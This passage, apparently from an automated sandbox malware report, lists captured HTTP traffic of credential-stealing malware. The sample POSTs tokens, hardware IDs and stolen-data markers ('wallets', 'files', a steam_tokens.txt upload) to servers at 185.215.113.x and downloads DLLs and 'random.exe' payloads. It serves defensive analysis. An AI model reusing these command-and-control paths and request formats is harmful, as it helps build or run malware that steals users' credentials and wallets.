57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDGCAAFBFBKFIDGDHJDBContent-Disposition: form-data; name="file"------HDGCAAFBFBKFIDGDHJDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBFHIEBKJKFHIEBFBHost: 185.215.113.206Content-Length: 3083Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="file"------CGIDGCGIEGDGDGDGHJKK--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFBAKKJDBKJJJKFHDAEHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="message"wallets------FIIEHJDBKJKECBFHDGHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="message"files------DAECAECFCAAEBFHIEHDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIIEHJDBKJKECBFHDGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 2d 2d 0d 0a Data Ascii: ------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBFIIEHJDBKJKECBFHDGContent-Disposition: form-data; name="file"------CBFIIEHJDBKJKECBFHDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGCFBGDHJJJJJKJECFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 46 2d 2d 0d 0a Data Ascii: ------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------KJEGCFBGDHJJJJJKJECFContent-Disposition: form-data; name="message"ybncbhylepme------KJEGCFBGDHJJJJJKJECF--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 64 66 38 38 35 34 34 66 33 65 39 63 63 30 62 39 62 65 66 62 30 31 62 33 39 63 63 61 31 34 34 63 66 38 33 39 33 33 61 64 39 65 36 65 36 64 62 62 34 31 35 62 64 37 64 34 33 62 66 64 37 38 31 36 61 66 30 61 66 36 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="token"d3df88544f3e9cc0b9befb01b39cca144cf83933ad9e6e6dbb415bd7d43bfd7816af0af6------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKKJKFBKKECFHJKEBKEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005746001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 12:24:50 GMTIf-None-Match: "67334912-1b3400"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 37 42 37 37 30 42 43 37 46 32 31 34 38 37 37 32 38 38 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="hwid"3F87B770BC7F2148772887------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="build"mars------BAKKEGCAAECAAAKFBGIE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 34 37 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005747031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 37 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005748001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDGCGDBGCAAEBFIECGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 37 42 37 37 30 42 43 37 46 32 31 34 38 37 37 32 38 38 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="hwid"3F87B770BC7F2148772887------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="build"mars------HJDGCGDBGCAAEBFIECGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBFHJJDAAKFIECGDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 37 42 37 37 30 42 43 37 46 32 31 34 38 37 37 32 38 38 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 2d 2d 0d 0a Data Ascii: ------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="hwid"3F87B770BC7F2148772887------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="build"mars------CAAEBFHJJDAAKFIECGDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
